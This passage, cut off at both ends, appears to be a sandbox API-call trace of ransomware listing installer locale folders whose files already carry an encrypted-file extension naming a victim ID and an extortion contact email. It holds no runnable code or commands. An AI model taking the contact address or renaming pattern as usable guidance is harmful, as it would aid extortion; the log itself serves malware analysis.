nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.257] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2cbaf30, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2cbaf30, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ce0a69, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.257] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2cbaf30, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2cbaf30, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ce0a69, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.257] FindClose (in: hFindFile=0x573828 | out: hFindFile=0x573828) returned 1 [0224.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.258] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0224.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.258] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5732e8 [0224.259] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.259] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ae29a8, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ae29a8, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ae29a8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.259] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ae29a8, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ae29a8, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b08b0d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.259] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2cbaf30, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2cbaf30, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2cbaf30, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.259] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2cbaf30, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2cbaf30, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2cbaf30, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.259] FindClose (in: hFindFile=0x5732e8 | out: hFindFile=0x5732e8) returned 1 [0224.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.259] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0224.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.260] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573168 [0224.261] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.261] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2b08b0d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b08b0d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d792f4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.261] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d06afb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d06afb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d06afb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.261] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ce0a69, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ce0a69, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d06afb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.261] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ce0a69, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ce0a69, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d06afb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.261] FindClose (in: hFindFile=0x573168 | out: hFindFile=0x573168) returned 1 [0224.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.261] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0224.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.261] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573268 [0224.263] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.263] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2b59859, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b59859, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b634a2, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.263] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2b891d3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b891d3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2baf733, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.263] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f42fe6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f42fe6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2f42fe6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.263] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f42fe6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f42fe6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2f42fe6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.263] FindClose (in: hFindFile=0x573268 | out: hFindFile=0x573268) returned 1 [0224.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.264] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0224.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.264] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573828 [0224.265] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.265] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2b731fe, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b731fe, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b7ceaa, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.265] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2b891d3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b891d3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ed0889, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.265] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d06afb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d06afb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fdb921, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.265] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d06afb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d06afb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fdb921, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.266] FindClose (in: hFindFile=0x573828 | out: hFindFile=0x573828) returned 1 [0224.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.266] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0224.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.266] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573868 [0224.268] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.268] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2baf733, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2baf733, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2baf733, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.268] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2baf733, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2baf733, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2bd5999, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.268] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2dc7669, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2dc7669, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2deb94d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.268] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2dc7669, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2dc7669, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2deb94d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.268] FindClose (in: hFindFile=0x573868 | out: hFindFile=0x573868) returned 1 [0224.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.268] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0224.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.269] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573468 [0224.270] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.270] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d2ce9a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d2ce9a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d2ce9a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.270] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d2ce9a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d2ce9a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d53173, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, 